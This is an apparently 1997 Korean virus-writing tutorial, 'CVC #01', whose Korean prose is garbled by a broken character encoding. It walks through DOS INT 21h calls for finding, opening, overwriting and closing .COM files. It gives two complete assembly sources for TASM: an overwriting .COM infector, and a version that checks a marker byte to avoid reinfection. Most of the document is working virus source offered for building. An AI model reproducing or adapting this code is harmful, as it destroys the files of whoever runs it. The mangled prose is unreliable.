saa aa ei CVC #01 97/06 ----------------------------------------------------------------> Hong_gil_dong we aȉaa e a -------------------------------------------------------------- aȉa᷁ ѱA A e a {sa ѱA: http://www.geocities.com/SiliconValley/Heights/5303 A: stealthwarrior@hotmail.com -------------------------------------------------------------- aw: wae e a gsa -------------------------------------------------------------- saa aae qqE aaA a šai saaA qqE aae ᷡw Зi ia sa, qqE aai Зae aaa З Sa aqe saa aa ᕡ a: 1. qqǩ ai xsa 2. ai a sa. 3. aai aA sa. 4. ai hsa 5. asa ᷁ wi a wi aVsa 1. qq ǩ ai xsa. b: ah : 4eh cx : a dx : aq U ds : aq Aaa mov ah,4eh ;弁 ai xsa xor cx,cx ;e ea. lea dx,com_files ;Ӂe .COM ai xi int 21h ;a e com_files i aq { sa: com_files: db "*.com",0 2. ai a sa: 1巁 Зia DTA ỳa ae dtaA E ita 0h db 21 dup(0) ;awa gsa 15h db 00 ;a 16h dw 0000 ;ae 18h dw 0000 ;a ia 1ah dd 00000000 ;a a 1eh db 13 dup(0) ;a q b: ah : 3dh al : 00h ;Ё ai sa 01h ;aЁ ai sa 02h ; aЁ ai sa dx : aq U ds : aq Aaa ‰b: ax : aЅi mov ax,3d02h ;a Ё ai sa mov dx,9eh ;80h+1eh=9eh int 21h 3. aai aA ea. input: ah : 40h bx : a Ѕi cx : i aa dx : aa b U xchg bx,ax ;ax bx ti aea. mov ah,40h mov cx,OFFSET vend-OFFSET vstart ;i aai ea. lea dx,start ;aa b. int 21h 4. ai hea. b: ah : 3eh bx : a Ѕi mov ah,3eh ;ai hea int 21h 5.asa int 20h aqe ᷁ wi wwe A aaa --------------------------------------------------------- ;Aaai Зae eBɡA e comwȁ ai ;qqdza ea Ae a qq wEaea. ;Ai Ёia aaa iaUa | aqia ;ai Aaa e Bɡ aae Sa ;aww: ; TASM EXAMPLE1.ASM ; TLINK /t EXAMPLE1.ASM Code Segment Assume CS:code,DS:code Org 100h virus proc near vstart:mov ah,4eh ;ai xsa xor cx,cx ; e e lea dx,com_files ; wȁe comw a int 21h ; mov ax,3d02h ;ai a wȁ mov dx,9eh ; sa int 21h ; xchg bx,ax ;ax bx ti a. mov ah,40h ;aai aA mov cx,OFFSET vend-OFFSET vstart ;sa lea dx,vstart ; int 21h ; mov ah,3eh ;ai hsa int 21h ; int 20h ;asa com_files: db "*.com",0 vend label near virus endp code ends end vstart ------------------------------------------------------------------------------ |aaAe a qqe ee ia sa. qqai iЁ Ae 'a'ae qqiai aaA Vsa vstart: jmp virus ID db 'a' virus: ... aae a q 4 aai (jmp OFFSET 3aa, qqia 1 aa) ᵳa. aaq 'a' aЁ qqai eesa ae ᕡ a: 1. qqǩ ai xsa . ae asa 2. ai Ё sa. 3. q 4aai ᵳa 4. ai hsa 5. 4弁 aa qqiai asa a) e qqae 1a sa. b) qq eae Зsa 6. ai a Ё sa 7. aA aai saile. 8. ai hsa 9. asa Ae ᷁ ᕡi Aa aVsa: 1. qqǩai x ae asa. 2. awȁ ai sa. 3. 弁 4aai a 4. 4弁 aai qqia asa a) e qqeae ai h 1a sa. b) ae Зsa 5. aai aA sa 6. ai hsa 7. asa A 2 ea bAAsa.šai ei Aa ww ϩasa aqe ᕡ Зa: 1. mov ah,4eh ;áae 弁 ai xea xor cx,cx ;e ea. lea dx,com_files ;.COM w ai xea int 21h jc exit ;ai xae aea com_files e aq { sa: com_files: db "*.com",0 2. mov ax,3d02h ;ai a sa. mov dx,9eh ;80h+1eh=9eh int 21h xchg bx,ax ;axti bx a 3.aA q 4aai ᵳa Input: ah : 3fh bx : aЅi cx : ᵩ aa dx : ᷁ (ai waa) mov ah,3fh mov cx,4 lea dx,bytes int 21h bytes i a { sa: bytes db ?,?,?,? 4.ᵥ 4aa aqqia a asa cmp byte ptr [bytes+3],'a' ;4弁a 'a' a jnz infect ;ae qqdza mov ah,4fh ;aq ai xsa 5. mov ah,40h mov cx,OFFSET vend-OFFSET vstart ;aa aa. lea dx,start ;aa b񷳓a int 21h 6. mov ah,3eh ;ai hsa int 21h 7. int 20h ---------------------------------------------------- aqe ᷁ wi waa Ai eea ;aww: ; TASM /m2 EXAMPLE2.ASM ; TLINK /t EXAMPLE2.ASM code segment assume cs:code,ds:code org 100h virus proc near vstart: jmp first db 'a' ;qqia first: mov ah,4eh ;<弁 find: xor cx,cx ; ... .COM ai lea dx,com_files ; xsa int 21h ; e ea> jc exit ;aae asa mov ax,3d02h ; int 21h ; xchg bx,ax ; mov ah,3fh ; lea dx,bytes ; int 21h ; cmp byte ptr[bytes+3],'a' ;4弁a 'a'? jnz infect ;ae qqdza mov ah,3eh ; int 21h ; mov ah,4fh ; jmp find ; infect: xor al,al ; xor cx,cx ; cwd ; int 21h ; mov ah,40h ; lea dx,vstart ; int 21h ; mov ah,3eh ; int 21h ; exit: int 20h ;asa com_files db "*.com",0 bytes db ?,?,?,? vend label near virus endp code ends end vstart -------------- { ---------------------------------